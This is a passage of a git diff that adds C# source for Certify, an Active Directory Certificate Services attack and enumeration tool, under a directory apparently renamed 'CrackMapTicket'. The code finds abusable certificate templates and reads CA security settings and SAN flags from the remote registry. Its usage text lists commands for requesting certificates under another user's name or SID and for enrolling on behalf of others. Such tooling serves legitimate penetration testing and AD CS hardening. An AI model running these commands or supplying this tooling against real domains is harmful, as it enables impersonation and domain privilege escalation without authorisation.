b/inc/kerbtgt/CrackMapTicket/Domain/CertificateAuthorityWebServices.cs new file mode 100644 index 0000000..908d758 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Domain/CertificateAuthorityWebServices.cs @@ -0,0 +1,20 @@ +using System.Collections.Generic; + +namespace Certify.Domain +{ + public class CertificateAuthorityWebServices + { + public CertificateAuthorityWebServices() + { + LegacyAspEnrollmentUrls = new List(); + EnrollmentWebServiceUrls = new List(); + EnrollmentPolicyWebServiceUrls = new List(); + NetworkDeviceEnrollmentServiceUrls = new List(); + } + public List LegacyAspEnrollmentUrls { get; set; } + public List EnrollmentWebServiceUrls { get; set; } + public List EnrollmentPolicyWebServiceUrls { get; set; } + public List NetworkDeviceEnrollmentServiceUrls { get; set; } + + } +} diff --git a/inc/kerbtgt/CrackMapTicket/Domain/CertificateTemplate.cs b/inc/kerbtgt/CrackMapTicket/Domain/CertificateTemplate.cs new file mode 100644 index 0000000..f18b09b --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Domain/CertificateTemplate.cs @@ -0,0 +1,199 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Security.AccessControl; +using System.Security.Cryptography; +using System.Security.Principal; + +namespace Certify.Domain +{ + // from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1 + // and from certutil.exe -v -dstemplate + [Flags] + public enum msPKICertificateNameFlag : uint + { + ENROLLEE_SUPPLIES_SUBJECT = 0x00000001, + ADD_EMAIL = 0x00000002, + ADD_OBJ_GUID = 0x00000004, + OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME = 0x00000008, + ADD_DIRECTORY_PATH = 0x00000100, + ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME = 0x00010000, + SUBJECT_ALT_REQUIRE_DOMAIN_DNS = 0x00400000, + SUBJECT_ALT_REQUIRE_SPN = 0x00800000, + SUBJECT_ALT_REQUIRE_DIRECTORY_GUID = 0x01000000, + SUBJECT_ALT_REQUIRE_UPN = 0x02000000, + SUBJECT_ALT_REQUIRE_EMAIL = 0x04000000, + SUBJECT_ALT_REQUIRE_DNS = 0x08000000, + SUBJECT_REQUIRE_DNS_AS_CN = 0x10000000, + SUBJECT_REQUIRE_EMAIL = 0x20000000, + SUBJECT_REQUIRE_COMMON_NAME = 0x40000000, + SUBJECT_REQUIRE_DIRECTORY_PATH = 0x80000000, + } + + // from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1 + // and from certutil.exe -v -dstemplate + [Flags] + public enum msPKIEnrollmentFlag : uint + { + NONE = 0x00000000, + INCLUDE_SYMMETRIC_ALGORITHMS = 0x00000001, + PEND_ALL_REQUESTS = 0x00000002, + PUBLISH_TO_KRA_CONTAINER = 0x00000004, + PUBLISH_TO_DS = 0x00000008, + AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE = 0x00000010, + AUTO_ENROLLMENT = 0x00000020, + CT_FLAG_DOMAIN_AUTHENTICATION_NOT_REQUIRED = 0x80, + PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT = 0x00000040, + USER_INTERACTION_REQUIRED = 0x00000100, + ADD_TEMPLATE_NAME = 0x200, + REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE = 0x00000400, + ALLOW_ENROLL_ON_BEHALF_OF = 0x00000800, + ADD_OCSP_NOCHECK = 0x00001000, + ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL = 0x00002000, + NOREVOCATIONINFOINISSUEDCERTS = 0x00004000, + INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS = 0x00008000, + ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT = 0x00010000, + ISSUANCE_POLICIES_FROM_REQUEST = 0x00020000, + SKIP_AUTO_RENEWAL = 0x00040000, + NO_SECURITY_EXTENSION = 0x00080000 + } + + class CertificateTemplateACE + { + public string? Type { get; } + public string? Rights { get; } + public Guid? ObjectType { get; } + public string? Principal { get; } + + public CertificateTemplateACE(AccessControlType? type, ActiveDirectoryRights? rights, Guid? objectType, string? principal) + { + Type = type.ToString(); + Rights = rights.ToString(); + ObjectType = objectType; + Principal = principal; + } + } + + class CertificateTemplateACL + { + public string? Owner { get; } + public List? ACEs { get; } + + public CertificateTemplateACL(ActiveDirectorySecurity securityDescriptor) + { + Owner = ((SecurityIdentifier)securityDescriptor.GetOwner(typeof(SecurityIdentifier))).Value.ToString(); + var rules = securityDescriptor.GetAccessRules(true, true, typeof(SecurityIdentifier)); + ACEs = new List(); + + foreach (ActiveDirectoryAccessRule rule in rules) + { + var ace = new CertificateTemplateACE( + rule.AccessControlType, + (ActiveDirectoryRights)rule.ActiveDirectoryRights, + rule.ObjectType, + ((SecurityIdentifier)rule.IdentityReference).Value.ToString() + ); ; + + ACEs.Add(ace); + } + } + } + + class CertificateTemplateDTO + { + // used for JSON serialization + public string? Name { get; } + public string? DomainName { get; } + public string? DisplayName { get; } + public Guid? Guid { get; } + public int? SchemaVersion { get; } + public string? ValidityPeriod { get; } + public string? RenewalPeriod { get; } + public Oid? Oid { get; } + public msPKICertificateNameFlag? CertificateNameFlag { get; } + public msPKIEnrollmentFlag? EnrollmentFlag { get; } + public IEnumerable? ExtendedKeyUsage { get; } + public int? AuthorizedSignatures { get; } + public IEnumerable? ApplicationPolicies { get; } + public IEnumerable? IssuancePolicies { get; } + public IEnumerable? CertificateApplicationPolicies { get; } + + // vulnerability-related settings + public bool? RequiresManagerApproval { get; } + public bool? EnrolleeSuppliesSubject { get; } + + public CertificateTemplateACL? ACL { get; } + + public CertificateTemplateDTO(CertificateTemplate template) + { + var securityDescriptor = template.SecurityDescriptor; + + Name = template.Name; + DomainName = template.DomainName; + Guid = template.Guid; + DisplayName = template.DisplayName; + ValidityPeriod = template.ValidityPeriod; + RenewalPeriod = template.RenewalPeriod; + Oid = template.Oid; + CertificateNameFlag = template.CertificateNameFlag; + EnrollmentFlag = template.EnrollmentFlag; + ExtendedKeyUsage = template.ExtendedKeyUsage; + AuthorizedSignatures = template.AuthorizedSignatures; + IssuancePolicies = template.IssuancePolicies; + CertificateApplicationPolicies = template.ApplicationPolicies; + + var requiresManagerApproval = template.EnrollmentFlag != null && ((msPKIEnrollmentFlag)template.EnrollmentFlag).HasFlag(msPKIEnrollmentFlag.PEND_ALL_REQUESTS); + var enrolleeSuppliesSubject = template.CertificateNameFlag != null && ((msPKICertificateNameFlag)template.CertificateNameFlag).HasFlag(msPKICertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT); + + RequiresManagerApproval = requiresManagerApproval; + EnrolleeSuppliesSubject = enrolleeSuppliesSubject; + + if (securityDescriptor == null) + { + ACL = null; + } + else + { + ACL = new CertificateTemplateACL(securityDescriptor); + } + } + } + + class CertificateTemplate : ADObject + { + public CertificateTemplate(string distinguishedName, string? name, string? domainName, Guid? guid, int? schemaVersion, string? displayName, string? validityPeriod, string? renewalPeriod, Oid? oid, msPKICertificateNameFlag? certificateNameFlag, msPKIEnrollmentFlag? enrollmentFlag, IEnumerable? extendedKeyUsage, int? authorizedSignatures, IEnumerable? raApplicationPolicies, IEnumerable? issuancePolicies, ActiveDirectorySecurity? securityDescriptor, IEnumerable? applicationPolicies) + : base(distinguishedName, securityDescriptor) + { + Name = name; + DomainName = domainName; + Guid = guid; + SchemaVersion = schemaVersion; + DisplayName = displayName; + ValidityPeriod = validityPeriod; + RenewalPeriod = renewalPeriod; + Oid = oid; + CertificateNameFlag = certificateNameFlag; + EnrollmentFlag = enrollmentFlag; + ExtendedKeyUsage = extendedKeyUsage; + AuthorizedSignatures = authorizedSignatures; + RaApplicationPolicies = raApplicationPolicies; + IssuancePolicies = issuancePolicies; + ApplicationPolicies = applicationPolicies; + } + public string? Name { get; } + public string? DomainName { get; } + public Guid? Guid { get; } + public int? SchemaVersion { get; } + public string? DisplayName { get; } + public string? ValidityPeriod { get; } + public string? RenewalPeriod { get; } + public Oid? Oid { get; } + public msPKICertificateNameFlag? CertificateNameFlag { get; } + public msPKIEnrollmentFlag? EnrollmentFlag { get; } + public IEnumerable? ExtendedKeyUsage { get; } + public int? AuthorizedSignatures { get; } + public IEnumerable? RaApplicationPolicies { get; } + public IEnumerable? IssuancePolicies { get; } + public IEnumerable? ApplicationPolicies { get; } + } +} diff --git a/inc/kerbtgt/CrackMapTicket/Domain/CommonOids.cs b/inc/kerbtgt/CrackMapTicket/Domain/CommonOids.cs new file mode 100644 index 0000000..c37efd9 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Domain/CommonOids.cs @@ -0,0 +1,12 @@ +namespace Certify.Domain +{ + public static class CommonOids + { + public static string AnyPurpose = "2.5.29.37.0"; + public static string ClientAuthentication = "1.3.6.1.5.5.7.3.2"; + public static string PKINITClientAuthentication = "1.3.6.1.5.2.3.4"; + public static string SmartcardLogon = "1.3.6.1.4.1.311.20.2.2"; + public static string CertificateRequestAgent = "1.3.6.1.4.1.311.20.2.1"; + public static string CertificateRequestAgentPolicy = "1.3.6.1.4.1.311.20.2.1"; + }; +} diff --git a/inc/kerbtgt/CrackMapTicket/Domain/EnrollmentAgentRestriction.cs b/inc/kerbtgt/CrackMapTicket/Domain/EnrollmentAgentRestriction.cs new file mode 100644 index 0000000..670c991 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Domain/EnrollmentAgentRestriction.cs @@ -0,0 +1,50 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Security; +using System.Security.AccessControl; +using System.Security.Cryptography.X509Certificates; +using System.Security.Principal; +using Certify.Lib; +using Microsoft.Win32; +using System.Text; + +namespace Certify.Domain +{ + class EnrollmentAgentRestriction + { + public string Agent { get; } + + public string Template { get; } + + public List Targets { get; } + + public EnrollmentAgentRestriction(CommonAce ace) + { + Targets = new List(); + var index = 0; + + Agent = ace.SecurityIdentifier.ToString(); + var bytes = ace.GetOpaque(); + + var sidCount = BitConverter.ToUInt32(bytes, index); + index += 4; + + for (var i = 0; i < sidCount; ++i) + { + var sid = new SecurityIdentifier(bytes, index); + Targets.Add(sid.ToString()); + index += sid.BinaryLength; + } + + if (index < bytes.Length) + { + Template = Encoding.Unicode.GetString(bytes, index, (bytes.Length - index - 2)).Replace("\u0000", string.Empty); + } + else + { + Template = ""; + } + } + } +} diff --git a/inc/kerbtgt/CrackMapTicket/Domain/EnterpriseCertificateAuthority.cs b/inc/kerbtgt/CrackMapTicket/Domain/EnterpriseCertificateAuthority.cs new file mode 100644 index 0000000..4811420 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Domain/EnterpriseCertificateAuthority.cs @@ -0,0 +1,309 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Security; +using System.Security.AccessControl; +using System.Security.Cryptography.X509Certificates; +using System.Security.Principal; +using Certify.Lib; +using Microsoft.Win32; + +namespace Certify.Domain +{ + class CertificateDTO + { + // used for JSON serialization + public string? SubjectName { get; } + public string? Thumbprint { get; } + public string? Serial { get; } + public string? StartDate { get; } + public string? EndDate { get; } + public List? CertChain { get; } + + public CertificateDTO(X509Certificate2 ca) + { + SubjectName = ca.SubjectName.Name; + Thumbprint = ca.Thumbprint; + Serial = ca.SerialNumber; + StartDate = ca.NotBefore.ToString(); ; + EndDate = ca.NotAfter.ToString(); + + var chain = new X509Chain(); + chain.Build(ca); + var names = new List(); + foreach (var elem in chain.ChainElements) + { + names.Add(elem.Certificate.SubjectName.Name.Replace(" ", "")); + } + //names.Reverse(); + + CertChain = names; + } + } + + class EnterpriseCertificateAuthorityACE + { + // used for JSON serialization + public string? Type { get; } + public string? Rights { get; } + public string? Principal { get; } + + public EnterpriseCertificateAuthorityACE(AccessControlType? type, CertificationAuthorityRights? rights, string? principal) + { + Type = type.ToString(); + Rights = rights.ToString(); + Principal = principal; + } + } + + class EnterpriseCertificateAuthorityACL + { + // used for JSON serialization + public string? Owner { get; } + public List ACEs { get; } + + public EnterpriseCertificateAuthorityACL(ActiveDirectorySecurity securityDescriptor) + { + Owner = ((SecurityIdentifier)securityDescriptor.GetOwner(typeof(SecurityIdentifier))).Value.ToString(); + var rules = securityDescriptor.GetAccessRules(true, true, typeof(SecurityIdentifier)); + ACEs = new List(); + + foreach (ActiveDirectoryAccessRule rule in rules) + { + var ace = new EnterpriseCertificateAuthorityACE( + rule.AccessControlType, + (CertificationAuthorityRights)rule.ActiveDirectoryRights, + ((SecurityIdentifier)rule.IdentityReference).Value.ToString() + ); ; + + ACEs.Add(ace); + } + } + } + + class EnterpriseCertificateAuthorityDTO + { + // used for JSON serialization, because X509Certificate2s won't serialize out of the box + public string? Name { get; } + public string? DnsHostname { get; } + public string? DomainName { get; } + + public Guid? Guid { get; } + public string? Flags { get; } + public List? Certificates { get; } + + public List? Templates { get; } + + public bool? EDITF_ATTRIBUTESUBJECTALTNAME2 { get; } + + public EnterpriseCertificateAuthorityACL? ACL { get; } + + public List? EnrollmentAgentRestrictions { get; } + + public EnterpriseCertificateAuthorityDTO(EnterpriseCertificateAuthority ca) + { + ActiveDirectorySecurity? securityDescriptor = null; + RawSecurityDescriptor? eaSecurityDescriptor = null; + bool? userSpecifiesSanEnabled = null; + try + { + securityDescriptor = ca.GetServerSecurityFromRegistry(); + } + catch + { + // ignored + } + + try + { + eaSecurityDescriptor = ca.GetEnrollmentAgentSecurity(); + } + catch + { + // ignored + } + + try + { + userSpecifiesSanEnabled = ca.IsUserSpecifiesSanEnabled(); + } + catch + { + // ignored + } + + Name = ca?.Name; + DomainName = ca?.DomainName; + Guid = ca?.Guid; + DnsHostname = ca?.DnsHostname; + Flags = ca?.Flags.ToString(); + Templates = ca?.Templates; + EDITF_ATTRIBUTESUBJECTALTNAME2 = userSpecifiesSanEnabled; + + Certificates = new List(); + if (ca?.Certificates != null) + { + foreach (var cert in ca.Certificates) + { + Certificates.Add(new CertificateDTO(cert)); + } + } + + ACL = securityDescriptor == null ? null : new EnterpriseCertificateAuthorityACL(securityDescriptor); + + if (eaSecurityDescriptor == null) + { + EnrollmentAgentRestrictions = null; + } + else + { + EnrollmentAgentRestrictions = new List(); + + foreach (CommonAce ace in eaSecurityDescriptor.DiscretionaryAcl) + { + EnrollmentAgentRestrictions.Add(new EnrollmentAgentRestriction(ace)); + } + } + } + } + + class EnterpriseCertificateAuthority : CertificateAuthority + { + public List? Templates { get; } + public string? DnsHostname { get; } + public string? FullName => $"{DnsHostname}\\{Name}"; + + public EnterpriseCertificateAuthority(string distinguishedName, string? name, string? domainName, Guid? guid, string? dnsHostname, PkiCertificateAuthorityFlags? flags, List? certificates, ActiveDirectorySecurity? securityDescriptor, List? templates) + : base(distinguishedName, name, domainName, guid, flags, certificates, securityDescriptor) + { + DnsHostname = dnsHostname; + Templates = templates; + } + + public ActiveDirectorySecurity? GetServerSecurityFromRegistry() + { + if (DnsHostname == null) throw new NullReferenceException("DnsHostname is null"); + if (Name == null) throw new NullReferenceException("Name is null"); + + // NOTE: this appears to usually work, even if admin rights aren't available on the remote CA server + RegistryKey baseKey; + try + { + baseKey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, DnsHostname); + } + catch (Exception e) + { + Console.WriteLine($"[X] Could not connect to the HKLM hive - {e.Message}"); + return null; + } + + byte[] security; + try + { + var key = baseKey.OpenSubKey($"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{Name}"); + security = (byte[])key.GetValue("Security"); + } + catch (SecurityException e) + { + Console.WriteLine($"[X] Could not access the 'Security' registry value: {e.Message}"); + return null; + } + + var securityDescriptor = new ActiveDirectorySecurity(); + securityDescriptor.SetSecurityDescriptorBinaryForm(security, AccessControlSections.All); + + return securityDescriptor; + } + + public RawSecurityDescriptor? GetEnrollmentAgentSecurity() + { + // NOTE: this appears to work even if admin rights aren't available on the remote CA server... + RegistryKey baseKey; + try + { + baseKey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, DnsHostname); + } + catch (Exception e) + { + throw new Exception($"Could not connect to the HKLM hive - {e.Message}"); + } + + byte[] security; + try + { + var key = baseKey.OpenSubKey($"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{Name}"); + security = (byte[])key.GetValue("EnrollmentAgentRights"); + } + catch (SecurityException e) + { + throw new Exception($"Could not access the 'EnrollmentAgentRights' registry value: {e.Message}"); + } + + return security == null ? null : new RawSecurityDescriptor(security, 0); + } + + + public bool IsUserSpecifiesSanEnabled() + { + if (DnsHostname == null) throw new NullReferenceException("DnsHostname is null"); + if (Name == null) throw new NullReferenceException("Name is null"); + + // ref- https://blog.keyfactor.com/hidden-dangers-certificate-subject-alternative-names-sans + // NOTE: this appears to usually work, even if admin rights aren't available on the remote CA server + RegistryKey baseKey; + try + { + baseKey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, DnsHostname); + } + catch (Exception e) + { + throw new Exception($"Could not connect to the HKLM hive - {e.Message}"); + } + + int editFlags; + try + { + var key = baseKey.OpenSubKey($"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{Name}\\PolicyModules\\CertificateAuthority_MicrosoftDefault.Policy"); + editFlags = (int)key.GetValue("EditFlags"); + } + catch (SecurityException e) + { + throw new Exception($"Could not access the EditFlags registry value: {e.Message}"); + } + + // 0x00040000 -> EDITF_ATTRIBUTESUBJECTALTNAME2 + return (editFlags & 0x00040000) == 0x00040000; + } + + public CertificateAuthorityWebServices GetWebServices() + { + if (DnsHostname == null) throw new NullReferenceException("DnsHostname is null"); + + var webservices = new CertificateAuthorityWebServices(); + + var protocols = new List() { "http://", "https://" }; + + protocols.ForEach(p => + { + var LegacyAspEnrollmentUrl = $"{p}{DnsHostname}/certsrv/"; + var enrollmentWebServiceUrl = $"{p}{DnsHostname}/{Name}_CES_Kerberos/service.svc"; + var enrollmentPolicyWebServiceUrl = $"{p}{DnsHostname}/ADPolicyProvider_CEP_Kerberos/service.svc"; + var ndesEnrollmentUrl = $"{p}{DnsHostname}/certsrv/mscep/"; + + if (HttpUtil.UrlExists(LegacyAspEnrollmentUrl, "NTLM")) + webservices.LegacyAspEnrollmentUrls.Add(LegacyAspEnrollmentUrl); + + if (HttpUtil.UrlExists(enrollmentWebServiceUrl)) + webservices.EnrollmentWebServiceUrls.Add(enrollmentWebServiceUrl); + + if (HttpUtil.UrlExists(enrollmentPolicyWebServiceUrl)) + webservices.EnrollmentPolicyWebServiceUrls.Add(enrollmentPolicyWebServiceUrl); + + if (HttpUtil.UrlExists(ndesEnrollmentUrl)) + webservices.NetworkDeviceEnrollmentServiceUrls.Add(ndesEnrollmentUrl); + }); + + return webservices; + } + } +} diff --git a/inc/kerbtgt/CrackMapTicket/Domain/PKIObject.cs b/inc/kerbtgt/CrackMapTicket/Domain/PKIObject.cs new file mode 100644 index 0000000..4094fff --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Domain/PKIObject.cs @@ -0,0 +1,38 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Security.AccessControl; +using System.Security.Cryptography; +using System.Security.Principal; + +namespace Certify.Domain +{ + class PKIObjectACE + { + public string? Type { get; } + public string? Rights { get; } + public Guid? ObjectType { get; } + public string? Principal { get; } + + public PKIObjectACE(AccessControlType? type, ActiveDirectoryRights? rights, Guid? objectType, string? principal) + { + Type = type.ToString(); + Rights = rights.ToString(); + ObjectType = objectType; + Principal = principal; + } + } + + class PKIObject : ADObject + { + public PKIObject(string? name, string? domainName, string distinguishedName, ActiveDirectorySecurity? securityDescriptor) + : base(distinguishedName, securityDescriptor) + { + Name = name; + DomainName = domainName; + DistinguishedName = distinguishedName; + } + public string? Name { get; } + public string? DomainName { get; } + } +} diff --git a/inc/kerbtgt/CrackMapTicket/ILMerge.props b/inc/kerbtgt/CrackMapTicket/ILMerge.props new file mode 100644 index 0000000..b0fc9d2 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + + + + + + + + + + + + + + + + + + + + + diff --git a/inc/kerbtgt/CrackMapTicket/Info.cs b/inc/kerbtgt/CrackMapTicket/Info.cs new file mode 100644 index 0000000..1704224 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Info.cs @@ -0,0 +1,94 @@ +using System; + +namespace Certify +{ + public static class Info + { + public static void ShowLogo() + { + Console.WriteLine("\r\n _____ _ _ __ "); + Console.WriteLine(" / ____| | | (_)/ _| "); + Console.WriteLine(" | | ___ _ __| |_ _| |_ _ _ "); + Console.WriteLine(" | | / _ \\ '__| __| | _| | | | "); + Console.WriteLine(" | |___| __/ | | |_| | | | |_| | "); + Console.WriteLine(" \\_____\\___|_| \\__|_|_| \\__, | "); + Console.WriteLine(" __/ | "); + Console.WriteLine(" |___./ "); + Console.WriteLine(" v{0} \r\n", Certify.Version.version); + } + + public static void ShowUsage() + { + var usage = @" + Find information about all registered CAs: + + Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] [/quiet] + + + Find all enabled certificate templates: + + Certify.exe find [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet] + + Find vulnerable/abusable certificate templates using default low-privileged groups: + + Certify.exe find /vulnerable [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet] + + Find vulnerable/abusable certificate templates using all groups the current user context is a part of: + + Certify.exe find /vulnerable /currentuser [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet] + + Find enabled certificate templates where ENROLLEE_SUPPLIES_SUBJECT is enabled: + + Certify.exe find /enrolleeSuppliesSubject [/ca:SERVER\ca-name| /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet] + + Find enabled certificate templates capable of client authentication: + + Certify.exe find /clientauth [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet] + + Find all enabled certificate templates, display all of their permissions, and don't display the banner message: + + Certify.exe find /showAllPermissions /quiet [/ca:COMPUTER\CA_NAME | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] + + Find all enabled certificate templates and output to a json file: + + Certify.exe find /json /outfile:C:\Temp\out.json [/ca:COMPUTER\CA_NAME | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] + + + Enumerate access control information for PKI objects: + + Certify.exe pkiobjects [/domain:domain.local | /ldapserver:server.domain.local] [/showAdmins] [/quiet] + + + Request a new certificate using the current user context: + + Certify.exe request /ca:SERVER\ca-name [/subject:X] [/template:Y] [/install] + + Request a new certificate using the current machine context: + + Certify.exe request /ca:SERVER\ca-name /machine [/subject:X] [/template:Y] [/install] + + Request a new certificate using the current user context but for an alternate name (if supported): + + Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER + + Request a new certificate using the current user context but for an alternate name and SID (if supported): + + Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER /sid:S-1-5-21-2697957641-2271029196-387917394-2136 + + Request a new certificate using the current user context but for an alternate name and URL (if supported): + + Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER /url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-2697957641-2271029196-387917394-2136 + + Request a new certificate on behalf of another user, using an enrollment agent certificate: + + Certify.exe request /ca:SERVER\ca-name /template:Y /onbehalfof:DOMAIN\USER /enrollcert:C:\Temp\enroll.pfx [/enrollcertpw:CERT_PASSWORD] + + + Download an already requested certificate: + + Certify.exe download /ca:SERVER\ca-name /id:X [/install] [/machine] +"; + Console.WriteLine(usage); + } + } +} diff --git a/inc/kerbtgt/CrackMapTicket/Interop.CERTCLILib.dll b/inc/kerbtgt/CrackMapTicket/Interop.CERTCLILib.dll new file mode 100644 index 0000000..d365041 Binary files /dev/null and b/inc/kerbtgt/CrackMapTicket/Interop.CERTCLILib.dll differ diff --git a/inc/kerbtgt/CrackMapTicket/Interop.CERTENROLLLib.dll b/inc/kerbtgt/CrackMapTicket/Interop.CERTENROLLLib.dll new file mode 100644 index 0000000..a7a28c1 Binary files /dev/null and b/inc/kerbtgt/CrackMapTicket/Interop.CERTENROLLLib.dll differ diff --git a/inc/kerbtgt/CrackMapTicket/Program.cs b/inc/kerbtgt/CrackMapTicket/Program.cs new file mode 100644 index 0000000..e471132 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Program.cs @@ -0,0 +1,134 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; + +namespace Certify +{ + public class Program + { + public static void FileExecute(string commandName, Dictionary parsedArgs) + { + // execute w/ stdout/err redirected to a file + + var file = parsedArgs["/outfile"]; + + var realStdOut = Console.Out; + var realStdErr = Console.Error; + + using (var writer = new StreamWriter(file, false)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + public static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + var sw = new Stopwatch(); + sw.Start(); + + if(!(parsedArgs.ContainsKey("/quiet") || parsedArgs.ContainsKey("/q") || parsedArgs.ContainsKey("/json"))) + Info.ShowLogo(); + + parsedArgs.Remove("/q"); + parsedArgs.Remove("/quiet"); + + try + { + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled Certify exception:\r\n"); + Console.WriteLine(e); + } + + sw.Stop(); + if(!parsedArgs.ContainsKey("/json")) + Console.WriteLine("\r\n\r\nCertify completed in " + sw.Elapsed); + } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution + + var args = command.Split(); + + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + var realStdOut = Console.Out; + var realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + var output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + + public static void Main(string[] args) + { + try + { + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + if (parsed.Arguments.ContainsKey("/outfile")) + { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } + else + { + MainExecute(commandName, parsed.Arguments); + } + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled Certify exception:\r\n"); + Console.WriteLine(e); + } + } + } +} \ No newline at end of file diff --git a/inc/kerbtgt/CrackMapTicket/Properties/AssemblyInfo.cs b/inc/kerbtgt/CrackMapTicket/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..318337c --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Properties/AssemblyInfo.cs @@ -0,0 +1,35 @@ +using System.Reflection; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Certify")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Certify")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("64524ca5-e4d0-41b3-acc3-3bdbefd40c97")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/inc/kerbtgt/CrackMapTicket/Version.cs b/inc/kerbtgt/CrackMapTicket/Version.cs new file mode 100644 index 0000000..6497308 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Version.cs @@ -0,0 +1,7 @@ +namespace Certify +{ + public static class Version + { + public static string version = "1.1.0"; + } +} diff --git a/inc/kerbtgt/CrackMapTicket/app.config b/inc/kerbtgt/CrackMapTicket/app.config new file mode 100644 index 0000000..fcd0c93 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/app.config @@ -0,0 +1,3 @@ + + + diff --git a/inc/kerbtgt/CrackMapTicket/packages.config b/inc/kerbtgt/CrackMapTicket/packages.config new file mode 100644 index 0000000..33e54cb --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/packages.config @@ -0,0 +1,4 @@ + + + + \ No newline at 